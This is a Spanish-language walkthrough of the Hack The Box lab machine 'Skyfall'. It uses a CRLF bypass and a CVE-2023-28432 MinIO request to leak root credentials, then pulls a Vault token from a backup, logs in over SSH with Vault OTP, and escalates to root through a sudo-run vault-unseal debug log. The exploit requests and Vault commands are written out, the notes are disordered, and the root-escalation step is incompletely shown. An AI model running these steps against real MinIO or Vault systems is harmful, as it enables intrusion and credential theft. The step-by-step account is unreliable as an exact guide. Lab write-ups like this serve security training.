Skyfall

namp

```
nmap -sC -sV 10.10.11.254
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 13:40 CET
Nmap scan report for 10.10.11.254
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_  256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.01 seconds
```

```
vim /etc/hosts
10.10.11.254 skyfall.htb
```

#Vemos una página “demo” demo.skyfall.htb, lo añadiremos al /etc/hosts

#Podemos ver una página de login para un Storage.
#Probamos con “guest” “guest” y logueamos como invitado.
guest:guest
#Nos dirigimos a IO Metrics.
#Vemos que está bloquedo 403

#Aplicaremos un CRLF (%0D%0A) Injection
https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a
#Añadimos un %0A
http://demo.skyfall.htb/metrics%0A

minio_usage_last_activity_nano_seconds	**server: minio-node1:9000**	**52135468489.0**
minio_endpoint_url	demo.skyfall.htb	http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster

#En la última fila, podemos ver un subdominio llamado “prd23-s3-backend”
#Lo añadiremos a /etc/hosts

```
vim /etc/hosts
10.10.11.254 skyfall.htb demo.skyfall.htb http://prd23-s3-backend.skyfall.htb
```

#Vamos a:
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster

#Buscamos alguna vulnerabilidad sobre Minio
https://github.com/acheiii/CVE-2023-28432

#OJO, abrimos burpsuite y ponemos el POC.
#Burpsite.
#IMPORTANTE, tiene que ser una petición de tipo POST.

```
POST /minio/bootstrap/v1/verify HTTP/1.1

Host: prd23-s3-backend.skyfall.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Upgrade-Insecure-Requests: 1

#Nos devueleve:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 25 Feb 2024 12:18:39 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 1444
Connection: close
Content-Security-Policy: block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Request-Id: 17B71A512203F002
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block

{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-
node1:9000","Path":"/
data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},
{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/
data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},
{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/
data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},
{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/
data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"h-
ttp://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":
{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE"
:"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PAS-
SWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZalww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY-
_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywV-
WGbP1aVSGav"}}
```

#Vemos credenciales:

User:
MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZalww"
user:5GrE1B2YGGyZzNHZalww
passwd:GkpjkmiVmpFuL2d3oRx0

#Vamos a instalar minio en localhost para ver el comportamiento.

wget https://dl.min.io/server/minio/release/linux-amd64/archive/minio_20240217011557.0.0_amd64.deb -O minio.deb
sudo dpkg -i minio.deb

#Tendremos que descaragar tambíen la consola que se encuentra en un repositorio diferente.
https://min.io/docs/minio/linux/reference/minio-mc.html

askyy

#Volvemos a descargar el home de askyy, en busca de las id keys.

```
mc ls --recursive --versions myminio
[2023-11-08 05:59:15 CET]     0B askyy/
[2023-11-08 06:35:28 CET]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 22:37:25 CET] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 22:37:09 CET] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 22:36:30 CET] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 05:58:56 CET]     0B btanner/
[2023-11-08 06:35:36 CET]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 05:58:33 CET]     0B emoneypenny/
[2023-11-08 06:35:56 CET]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 05:58:22 CET]     0B gmallory/
[2023-11-08 06:36:02 CET]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-08 01:08:01 CET]     0B guest/
[2023-11-08 01:08:05 CET]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 05:59:05 CET]     0B jbond/
[2023-11-08 06:35:45 CET]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 05:58:10 CET]     0B omansfield/
[2023-11-08 06:36:09 CET]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 05:58:45 CET]     0B rsilva/
[2023-11-08 06:35:51 CET]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdf

┌──(root㉿kali)-[~/Desktop/machines/Skyfall/v02]
└─# mc ls --recursive --versions myminio/askyy/
[2023-11-08 06:35:28 CET]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT Welcome.pdf
[2023-11-09 22:37:25 CET] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT home_backup.tar.gz
[2023-11-09 22:37:09 CET] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT home_backup.tar.gz
[2023-11-09 22:36:30 CET] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT home_backup.tar.gz

┌──(root㉿kali)-[~/Desktop/machines/Skyfall/v02]
└─# mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/home_backup.tar.gz ./home_backup.tar.gz
…/home_backup.tar.gz: 1.18 MiB / 1.18 MiB ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
456.05 KiB/s 2s

tar -xvf home_backup.tar.gz
./
./.profile
./terraform-generator/
./terraform-generator/.eslintrc.json
./terraform-generator/package.json
…

cd .ssh

┌──(root㉿kali)-[~/…/machines/Skyfall/v02/.ssh]
└─# l
authorized_keys  id_rsa  id_rsa.pub

┌──(root㉿kali)-[~/…/machines/Skyfall/v02/.ssh]
└─# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC24FBEJuuHCJgHVvqk00ceKA4RATo/nmTkgsz0S5k5qiAsccLTgoUt7qbld6MlpNDnIflgOZ/
sQxiYd64U8W95udZyHchBKdYuBUqxU8tQ0iMH/YPsHDy4G1i2yPC9YeiZ6WXKwiNqctfsxQGhoRxZaieiKokmEga3RDYTgg9PeZu++HYU8B/
umpTcphU81LmYtHxizwtQDFC/
dlS+8+hOy7ms2ZUZsYFG9oGlXXCGogxnr0ANOaPIwDbGJn+RpFsFCqNhuiRsV+iwRtFkfOueHhx1EOWLrUIcTw0YIZMRZIL9FGJe9H7BEfeI4/
GM2p2KiyJMSUhFsdVstbrxK+RnSzn/pEg/7BT7nd2miFzbLv391klD+Gbzs8MrmtkdlFbrSriq4/V34AP/
P2mcnXyT5g6L21TLJyFNxOWtZ6TXrkhTRS4uZBBendkpg7hMffMun9W/
yxvmFQORCY0IQ6UAKZlilVH9xId9bGl7mqm4cNISeHetfPwQ38jKOvJzQZk= askyy@skyfall
```

#Más adelante copiaremos el id_rsa en la carpeta .ssh dentro de skyfall. (en la útima versión)

```
cp id_rsa /root/Desktop/machines/Skyfall/.ssh/id_rsa.pub
```

minIO

#Instalamos el binario de la consola mini.

```
curl https://dl.min.io/client/mc/release/linux-amd64/mc \
  --create-dirs \
  -o $HOME/minio-binaries/mc

chmod +x $HOME/minio-binaries/mc
export PATH=$PATH:$HOME/minio-binaries/

mc --help
```

#Ahora añadiremos la localización del alias en el servidor con las keys anteriores.

```
mc alias set myminio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
mc: Configuration written to `/root/.mc/config.json`. Please update your access credentials.
mc: Successfully created `/root/.mc/share`.
mc: Initialized share uploads `/root/.mc/share/uploads.json` file.
mc: Initialized share downloads `/root/.mc/share/downloads.json` file.
Added `myminio` successfully.
```

#Ahora descargamos todos los ficheros del “Cloud Storage”

```
mc ls --recursive --versions myminio
[2023-11-08 05:59:15 CET]     0B askyy/
[2023-11-08 06:35:28 CET]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 22:37:25 CET] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 22:37:09 CET] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 22:36:30 CET] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 05:58:56 CET]     0B btanner/
[2023-11-08 06:35:36 CET]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 05:58:33 CET]     0B emoneypenny/
[2023-11-08 06:35:56 CET]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 05:58:22 CET]     0B gmallory/
[2023-11-08 06:36:02 CET]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-08 01:08:01 CET]     0B guest/
[2023-11-08 01:08:05 CET]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 05:59:05 CET]     0B jbond/
[2023-11-08 06:35:45 CET]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 05:58:10 CET]     0B omansfield/
[2023-11-08 06:36:09 CET]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 05:58:45 CET]     0B rsilva/
[2023-11-08 06:35:51 CET]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
```

#Podemos ver como tenemos el backup del home del usuario “askyy”
Podremos obtener el acceso de este usuario si conseguimos el ID específico para descargarlo.
#El ID lo obtenemos con el comando anterior.

```
mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/home_backup.tar.gz ./home_backup.tar.gz
.../home_backup.tar.gz: 2.64 KiB / 2.64 KiB ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.37 KiB/s 1s
```

#Luego descomprimimos el .zip

```
tar -xvf home_backup.tar.gz
./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed
```

#vemos el .bashrc y encontramos un tocken.

```
# cat .bashrc
```

```
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
...
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
```

#tenemos que añadir prd23-vault-internal.skyfall.htb a /etc/hosts.

#Para poder acceder, tenemos que descargar el “Vault Binary First”

creeds

username --> askyy
passwd -->

valut

#Install vault
https://medium.com/hashicorp-engineering/how-to-backup-a-hashicorp-vault-integrated-storage-cluster-with-minio-33b88399bf63

```
curl -o vault_1.5.3_linux_amd64.zip https://releases.hashicorp.com/vault/1.5.3/vault_1.5.3_linux_amd64.zip

unzip vault_1.5.3_linux_amd64.zip
Archive:  vault_1.5.3_linux_amd64.zip
  inflating: vault
```

#Cojemos el token y la dirección obtenido anteriormente.

```
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
```

#En local procedemos a ejecutar vault con estos parámetros.
(Ejcutar comando export)

```
┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# export VAULT_API_ADDR="prd23-vault-internal.skyfall.htb"

┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"

┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# ./vault login
Token (will be hidden):
WARNING! The VAULT_TOKEN environment variable is set! This takes precedence
over the value set by this command. To use the value set by this command,
unset the VAULT_TOKEN environment variable or set it to the token displayed
below.

Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor       rByv1coOBC9ITZpzqbDtTUm8
token_duration       435412h39m49s
token_renewable      true
token_policies       ["default" "developers"]
identity_policies    []
policies             ["default" "developers"]
```

#Ahora procedermos a listar los roles SSH.

```
┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# ./vault token capabilities ssh/roles
list

┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# ./vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role
```

#Mediante este rol SSH, podemos hacer login dentro del host "askyy".
#A la hora de poner la password, tendremos que copiar el OTP y pegarlo.

```
./vault ssh -role dev_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254
```

```
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 5cbe2739-4402-2417-798e-eb794f4a9b87
(askyy@10.10.11.254) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ whoami
askyy
askyy@skyfall:~$

#Tenemos la flag del user
```

vault_readme

Vault

KES requires Vault to be running and unsealed before it can communicate with it.

Let’s install Vault using the steps below

Open a new tmux session to run the Vault operations

```
# tmux new -s vault
```

Install the GPG package for adding apt keys

```
# apt update && apt install gpg
```

Fetch the Hashicorp apt repo keys

```
# wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg >/dev/null
```

Verify the fingerprint

```
# gpg --no-default-keyring --keyring /usr/share/keyrings/hashicorp-archive-keyring.gpg --fingerprint
```

Add the Hashicorp apt repo so we can install the Vault package

```
# echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list
```

Last, but not least, install Vault itself

```
# apt update && apt install vault
```

Start Vault server, which will also unseal it for us

```
# vault server -dev
```

Once Vault is up, note the Vault Endpoint and the Vault Root Token. You will need these values later to perform operations within Vault.

```
$ export VAULT_ADDR='http://127.0.0.1:8200'

[TRUNCATED]

Root Token: hvs.rCFo4tdgIdiq5NTRo6VzbBGz
```

End the tmux session using the following keystrokes

CTRL+B then press D
Configure Infrastructure

Once we have the infrastructure set up, we’ll need to configure individual components
Vault

Outside the Vault TMUX session, set the following environment variables

VAULT_ADDR

VAULT_TOKEN

The values for these can be found in the earlier output when the Vault service was started.

```
# export VAULT_ADDR='http://127.0.0.1:8200'

# export VAULT_TOKEN="hvs.rCFo4tdgIdiq5NTRjrVzbBGz"
```

Create a Vault secret engine path called kv/

```
# vault secrets enable -path=kv kv

Success! Enabled the kv secrets engine at: kv/
```

Enable the Vault app role to support KES. This is used for KES to authenticate with the Vault app by assigning the required permissions and retrieving App ID and Secret for KES.

```
# vault auth enable approle
```

```
Success! Enabled approle auth method at: approle/
```

Create a file called kes-policy.hcl with the following contents in order to provide the necessary access to the kv/ engine we created earlier.

```
path "kv/data/*" {
capabilities = [ "create", "read"]
}

path "kv/metadata/*" {
capabilities = [ "list", "delete"]
}
```

Apply the file above to create a policy in Vault

```
# vault policy write kes-policy kes-policy.hcl
```

```
Success! Uploaded policy: kes-policy
```

priv_escalage

#Ejecutamos sudo -l para ver los comandos que puede ejecutar este usuario, con privilegios elevados

```
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
```

#Probamos con la opcón debug para que se nos guarde en un fichero.

```
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vh
Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose         enable verbose output
  -d, --debug           enable debugging output to file (extra logging)
  -c, --config=PATH     path to configuration file

Help Options:
  -h, --help            Show this help message

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$

askyy@skyfall:~$ ls
debug.log  user.txt

askyy@skyfall:~$ ls -la
total 36
drwxr-x--- 4 askyy askyy 4096 Feb 26 19:54 .
drwxr-xr-x 3 root  root  4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy    9 Nov  9 21:30 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov  9 21:30 .bashrc
drwx------ 2 askyy askyy 4096 Oct  9 18:47 .cache
-rw-r--r-- 1 askyy askyy  807 Jan  6  2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw------- 1 root  root   590 Feb 26 19:54 debug.log
-rw-r----- 1 root  askyy   33 Feb 25 22:03 user.txt
```

#No podremos acceder.

```
askyy@skyfall:~$ cat debug.log
cat: debug.log: Permission denied

askyy@skyfall:~$ rm debug.log
rm: remove write-protected regular file 'debug.log'? y
```

#Modificamos el fichero con touch y luego repetimos el proceso, para que se sobreescriba el fichero.
#Tendrá los permisos.

```
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
```

```
#No podemos ver el debug.log, al exportalo con estos comandos, no se exporta con permisos de skyy sino de root.
#Deberíamos verlo asi:
-rw------- 1 skyy  skyy   590 Feb 26 19:54 debug.log

#Hacemos un cat del fichero y teríamos que ver el token de vault.

└─# export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

┌──(root㉿kali)-[~/Desktop/machines/Skyfall]
└─# curl \
> --header "X-Vault-Token: $VAULT_TOKEN" \
> --request POST \
> --data '{"ip":"10.10.11.254", "username":"root"}' \
> $VAULT_ADDR/v1/ssh/creds/admin_otp_key_role \
{"request_id":"ced336e1-9b7b-ca7a-32eb-f613e980d137","lease_id":"ssh/creds/admin_otp_key_role/
d4l1zxukBvVBC1lOpVRvGgRE","renewable":false,"lease_duration":2764800,"data":
{"ip":"10.10.11.254","key":"c1bc8b5f-7283-5193-3c3f-540731430a51","key_type":"otp","port":
22,"username":"root"},"wrap_info":null,"warnings":null,"auth":null}


#Como password, tenemos que añadir el código OTP.
./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254

Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 6eca4d4c-e196-82f8-532b-3db3c9d91743
(root@10.10.11.254) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Feb 12 07:49:13 2024
root@skyfall:~# whoami
root
```